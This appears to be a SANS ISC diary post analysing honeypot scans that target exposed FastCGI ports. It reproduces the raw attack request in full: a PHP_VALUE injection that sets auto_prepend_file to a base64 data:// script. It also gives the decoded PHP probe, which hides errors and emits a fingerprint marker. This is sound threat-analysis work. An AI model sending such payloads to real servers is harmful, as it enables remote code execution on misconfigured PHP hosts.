Not so FastCGI!

This past month, we've seen some new and different scans targeting tcp ports between 8000 and 10,000. The first occurrence was on 30 April 2020 and originated from ip address 23.95.67.187 and containing payload:

\x01\x01\0\x01\0\b\0\0\0\x01\0\0\0\0\0\0

After this initial scan, the next similar scans used a different ip address (45.14.224.248), but within 5 hours from the first occurrence we received a different payload:

\x01\x01\0\x01\0\b\0\0\0\x01\0\0\0\0\0\0\x01\x04\0\x01\x02\xdb\x05\0\t\x80\0\x02wPHP_VALUEallow_url_include=1\nallow_url_fopen=1\nauto_prepend_file=\'data://text/plain;base64,PD9waHAgaWYoZnVuY3Rpb25fZXhpc3RzKCdlcnJvcl9yZXBvcnRpbmcnKSl7QGVycm9yX3JlcG9ydGluZygwKTt9aWYoZnV uY3Rpb25fZXhpc3RzKCdpbmlfc2V0Jykpe0Bpbmlfc2V0KCdlcnJvcl9yZXBvcnRpbmcnLDApO0Bpbmlfc2V0KCdlcnJvcl9sb2cnL E5VTEwpO0Bpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTt9JF9fXz0oaXNzZXQoJF9TRVJWRVJbIlNDUklQVF9OQU1FIl0pPyRfU0VSVkV SWyJTQ1JJUFRfTkFNRSJdOihpc3NldCgkX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk/JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdO k5VTEwpKTtpZigkX19fPT09Ii91c3IvYmluL3BoYXIucGhhciIpe2VjaG8iPHNwYW4gc3R5bGU9J2Rpc3BsYXk6bm9uZSc+Ii5tZDU oJ2xvaHBpZHInKS4iPC9zcGFuPiI7ZXhpdCgwKTt9IA==\'\x0f\x12SCRIPT_FILENAME/usr/bin/phar.phar\x0b\x12 SCRIPT_NAME/usr/bin/phar.phar\x0e\x04REQUEST_METHODPOST\0\0\0\0\0\x01\x04\0\x01\0\0\0\0\x01\x05\0\x01 \0\0\0\0

It is clear that the payload is trying to exploit something PHP related, but it was not immediately obvious what service was being targeted. After Googling around for a while, I could identify the payload as being targeting fastcgi. Fastcgi can run using both unix sockets (named pipes on Windows) and tcp sockets. Apparently they are scanning for publicly available, incorrect configured fastcgi sockets.

Now that we know what to look at, we can dive into the source code of FastCGI to validate the protocol being used. The FastCGI code can be found at the PHP repository.

Looking at the source code https://github.com/php/php-src/blob/master/main/fastcgi.c#L1044 and function fcgi_read_request, we can recognise the header and structure being used. Eg the first header contains the FCGI_BEGIN_REQUEST type, with FCGI_RESPONDER role. The following header consists of the type FCGI_PARAMS, with several variables being defined.

PHP_VALUE	allow_url….
SCRIPT_FILENAME	/usr/bin/phar.phar
SCRIPT_NAME	/usr/bin/phar.phar
REQUEST_METHOD	POST

Next, it will send a FCGI_PARAMS to end the send of parameters, and send the header with type FCGI_STDIN.

The PHP_VALUE variable consists of php directives causing the base64 encoded script to be automatically parsed before the main file (https://www.php.net/manual/en/ini.core.php).

Using my favorite swiss army knife CyberChef, we can decode the base64 encoded script easily (recipe From Base64) and beautify the code (recipe Generic Code Beautify), resulting in the following php script:

<?php if (function_exists('error_reporting'))  {
    @error_reporting(0);
}

if (function_exists('ini_set'))  {
    @ini_set('error_reporting', 0);
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
}

$___ = (isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_NAME"]:(isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_FILENAME"]:NULL));
if ($___ ==  = "/usr/bin/phar.phar")  {
    echo"<span style='display:none'>".md5('lohpidr')."</span>";
    exit(0);
}

After setting up some configuration to prevent error reporting and error logging, it will validate if the code is being executed with the script name set to /usr/bin/phar.phar. If this is the case, a non-browser visible (hidden by css) will be returned, containing the md5 hash of lohpidr, which results in the hash 58d4c1968bd824ac7ac95da61a462919.

Since the 27th of May, we now see the same payload occurring with a different originating ip address 107.172.5.101. It is interesting to see is that the netblock owner of the first (23.95.67.187) and last (107.172.5.101) ip address is Virtual Machine Solutions LLC, the middle (45.14.224.248) is owned by SpectraIP B.V. We don't see any other traffic from these hosts within our honeypot network.

IOCs:

Please share your ideas, comments and/or insights, with me via social media, @remco_verhoef or email, remco.verhoef at dutchsec dot com. Have a great day!

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec

PGP Key

Remco

24 Posts
ISC Handler

Jun 5th 2020

good one, Remco.

Anonymous

Thanks!

Remco

24 Posts
ISC Handler